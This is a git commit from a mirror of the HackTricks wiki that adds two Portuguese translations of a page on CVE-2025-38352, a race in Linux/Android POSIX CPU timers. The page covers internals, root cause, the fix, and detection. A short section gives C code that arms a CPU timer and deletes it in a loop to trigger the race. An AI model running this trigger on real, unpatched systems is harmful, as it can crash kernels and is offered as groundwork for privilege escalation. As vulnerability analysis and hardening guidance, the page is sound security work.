mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/linux-kernel-explo
This commit is contained in:
parent
dc2ec78cb2
commit
70bf9f5428
@ -937,3 +937,5 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
@ -0,0 +1,195 @@
|
||||
# Condição de corrida TOCTOU em POSIX CPU Timers (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta página documenta uma condição de corrida TOCTOU em POSIX CPU timers do Linux/Android que pode corromper o estado do timer e causar crash no kernel, e, em certas circunstâncias, ser direcionada para elevação de privilégios.
|
||||
|
||||
- Componente afetado: kernel/time/posix-cpu-timers.c
|
||||
- Primitiva: expiry vs deletion race sob saída de tarefa
|
||||
- Sensível à configuração: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Rápido resumo interno (relevante para exploração)
|
||||
- Três clocks de CPU alimentam a contabilização dos timers via cpu_clock_sample():
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime apenas
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- A criação do timer conecta um timer a uma task/pid e inicializa os nós da timerqueue:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Arming insere em uma per-base timerqueue e pode atualizar o next-expiry cache:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- O caminho rápido evita processamento custoso, a menos que expirações em cache indiquem possível disparo:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- Expiração coleta temporizadores expirados, marca-os como disparados, retira-os da fila; a entrega efetiva é adiada:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
Dois modos de processamento de expiração
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: a expiração é adiada via task_work na tarefa alvo
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: a expiração é tratada diretamente no contexto de IRQ
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
No caminho em contexto IRQ, a lista de disparo é processada fora do sighand
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Root cause: TOCTOU entre expiração em tempo de IRQ e exclusão concorrente durante a finalização da tarefa
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- A tarefa alvo está saindo mas não foi totalmente finalizada
|
||||
- Outra thread chama posix_cpu_timer_del() concorrentemente para o mesmo timer
|
||||
|
||||
Sequence
|
||||
1) update_process_times() aciona run_posix_cpu_timers() em contexto IRQ para a tarefa em saída.
|
||||
2) collect_timerqueue() define ctmr->firing = 1 e move o timer para a lista temporária de firing.
|
||||
3) handle_posix_cpu_timers() solta sighand via unlock_task_sighand() para entregar timers fora do lock.
|
||||
4) Imediatamente após o unlock, a tarefa em saída pode ser reaped; uma thread irmã executa posix_cpu_timer_del().
|
||||
5) Nesta janela, posix_cpu_timer_del() pode falhar ao adquirir o state via cpu_timer_task_rcu()/lock_task_sighand() e assim pular a proteção normal in-flight que verifica timer->it.cpu.firing. A deleção prossegue como se não estivesse firing, corrompendo o state enquanto a expiração está sendo tratada, levando a travamentos/UB.
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
|
||||
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- Add an early return if current task is exiting, gating all processing:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- Isso evita a entrada em handle_posix_cpu_timers() para tarefas em saída, eliminando a janela onde posix_cpu_timer_del() poderia perder it.cpu.firing e competir com o processamento de expiração.
|
||||
|
||||
Impacto
|
||||
- Corrupção de memória do Kernel em estruturas de timer durante expiração/eliminação concorrente pode causar travamentos imediatos (DoS) e é um primitivo forte para privilege escalation devido a oportunidades de manipulação arbitrária do kernel-state.
|
||||
|
||||
Acionando o bug (condições seguras e reprodutíveis)
|
||||
Build/config
|
||||
- Garanta CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n e use um kernel sem a correção que aplica o gating de exit_state.
|
||||
|
||||
Estratégia em tempo de execução
|
||||
- Alveje uma thread que está prestes a sair e anexe um CPU timer a ela (per-thread or process-wide clock):
|
||||
- Para per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- Para process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Arme com uma expiração inicial muito curta e um intervalo pequeno para maximizar entradas no IRQ-path:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- A partir de um sibling thread, exclua simultaneamente o mesmo timer enquanto o target thread encerra:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Amplificadores de race: alta taxa de ticks do scheduler, carga da CPU, ciclos repetidos de saída/recriação de threads. O crash tipicamente se manifesta quando posix_cpu_timer_del() deixa de notar o firing devido à falha na lookup/lock da task logo após unlock_task_sighand().
|
||||
|
||||
Detection and hardening
|
||||
- Mitigation: aplique o exit_state guard; prefira habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando viável.
|
||||
- Observability: adicione tracepoints/WARN_ONCE ao redor de unlock_task_sighand()/posix_cpu_timer_del(); alerte quando it.cpu.firing==1 for observado junto com falha em cpu_timer_task_rcu()/lock_task_sighand(); monitore inconsistências em timerqueue ao redor da saída da task.
|
||||
|
||||
Audit hotspots (for reviewers)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
|
||||
Notes for exploitation research
|
||||
- O comportamento divulgado é um primitivo confiável de crash do kernel; transformá-lo em escalada de privilégios normalmente requer uma sobreposição adicional controlável (object lifetime ou write-what-where influence) além do escopo deste resumo. Trate qualquer PoC como potencialmente desestabilizador e execute apenas em emuladores/VMs.
|
||||
|
||||
## Referências
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -0,0 +1,196 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta página documenta uma condição de corrida TOCTOU em Linux/Android POSIX CPU timers que pode corromper o estado do timer e travar o kernel, e sob algumas circunstâncias ser direcionada para privilege escalation.
|
||||
|
||||
- Componente afetado: kernel/time/posix-cpu-timers.c
|
||||
- Primitiva: expiry vs deletion race durante task exit
|
||||
- Sensível a configuração: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Recapitulação rápida dos internals (relevante para exploitation)
|
||||
- Três clocks de CPU dirigem a contabilização para timers via cpu_clock_sample():
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: apenas utime
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- A criação do timer conecta um timer a uma task/pid e inicializa os nós do timerqueue:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- A ativação insere em uma timerqueue por base e pode atualizar o cache next-expiry:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- O caminho rápido evita processamento dispendioso a menos que expirações em cache indiquem possível disparo:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- A expiração recolhe temporizadores expirados, marca-os como disparados, remove-os da fila; a entrega real é adiada:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
Dois modos de processamento de expiração
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: a expiração é adiada via task_work na tarefa alvo
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: a expiração é tratada diretamente no contexto de IRQ
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
No caminho de contexto IRQ, a lista de disparo é processada fora do sighand
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Causa raiz: TOCTOU entre a expiração em tempo de IRQ e a exclusão concorrente durante a saída da tarefa
|
||||
|
||||
Pré-condições
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK está desabilitado (IRQ path in use)
|
||||
- A tarefa alvo está saindo mas não foi totalmente reaped
|
||||
- Outra thread chama concorrentemente posix_cpu_timer_del() para o mesmo timer
|
||||
|
||||
Sequência
|
||||
1) update_process_times() aciona run_posix_cpu_timers() em contexto IRQ para a tarefa que está saindo.
|
||||
2) collect_timerqueue() define ctmr->firing = 1 e move o timer para a lista temporária de firing.
|
||||
3) handle_posix_cpu_timers() libera sighand via unlock_task_sighand() para entregar timers fora do lock.
|
||||
4) Imediatamente após o unlock, a tarefa em saída pode ser reaped; uma thread irmã executa posix_cpu_timer_del().
|
||||
5) Nesta janela, posix_cpu_timer_del() pode falhar ao adquirir o state via cpu_timer_task_rcu()/lock_task_sighand() e assim pular a guarda normal in-flight que verifica timer->it.cpu.firing. A exclusão prossegue como se não estivesse firing, corrompendo o estado enquanto a expiração está sendo tratada, levando a crashes/UB.
|
||||
|
||||
Por que o modo TASK_WORK é seguro por design
|
||||
- Com CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, a expiração é adiada para task_work; exit_task_work roda antes de exit_notify, então a sobreposição em tempo de IRQ com o reaping não ocorre.
|
||||
- Mesmo assim, se a tarefa já está saindo, task_work_add() falha; condicionar em exit_state torna ambos os modos consistentes.
|
||||
|
||||
Correção (Android common kernel) e justificativa
|
||||
- Adicionar um retorno antecipado se a tarefa corrente estiver saindo, condicionando todo o processamento:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- Isso impede entrar em handle_posix_cpu_timers() para tarefas que estão saindo, eliminando a janela na qual posix_cpu_timer_del() poderia perder it.cpu.firing e competir com o processamento de expiração.
|
||||
|
||||
Impacto
|
||||
- Corrupção de memória do kernel das estruturas de timer durante expiração/exclusão concorrente pode causar crashes imediatos (DoS) e é uma primitiva forte para privilege escalation devido a oportunidades de manipulação arbitrária do estado do kernel.
|
||||
|
||||
Disparo do bug (condições seguras e reproduzíveis)
|
||||
Compilação/config
|
||||
- Garanta CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n e use um kernel sem a correção de gating para exit_state.
|
||||
|
||||
Estratégia em tempo de execução
|
||||
- Mire uma thread prestes a sair e anexe um CPU timer a ela (clock por-thread ou por-processo):
|
||||
- Para por-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- Para por-processo: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Arme com uma expiração inicial muito curta e um intervalo pequeno para maximizar entradas no caminho de IRQ:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- A partir de um sibling thread, exclua concurrentemente o mesmo timer enquanto a target thread sai:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Race amplifiers: alta scheduler tick rate, CPU load, ciclos repetidos de saída/recriação de threads. O crash tipicamente se manifesta quando posix_cpu_timer_del() deixa de notar o firing devido à falha na busca/bloqueio da task logo após unlock_task_sighand().
|
||||
|
||||
Detecção e hardening
|
||||
- Mitigação: aplique o guard exit_state; prefira habilitar CONFIG_POSIX_CPU_TIMERS_TASK_WORK quando viável.
|
||||
- Observability: adicione tracepoints/WARN_ONCE ao redor de unlock_task_sighand()/posix_cpu_timer_del(); alerte quando it.cpu.firing==1 for observado juntamente com falha em cpu_timer_task_rcu()/lock_task_sighand(); monitore inconsistências no timerqueue ao redor da saída da task.
|
||||
|
||||
Pontos de auditoria (para revisores)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): define ctmr->firing e move os nós
|
||||
- handle_posix_cpu_timers(): libera sighand antes do loop de firing
|
||||
- posix_cpu_timer_del(): depende de it.cpu.firing para detectar expiração in-flight; essa verificação é ignorada quando a busca/bloqueio da task falha durante exit/reap
|
||||
|
||||
Notas para pesquisa de exploração
|
||||
- O comportamento divulgado é um kernel crash primitive confiável; transformá-lo em privilege escalation tipicamente requer uma sobreposição adicional controlável (object lifetime ou influência write-what-where) além do escopo deste resumo. Trate qualquer PoC como potencialmente desestabilizadora e execute apenas em emuladores/VMs.
|
||||
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user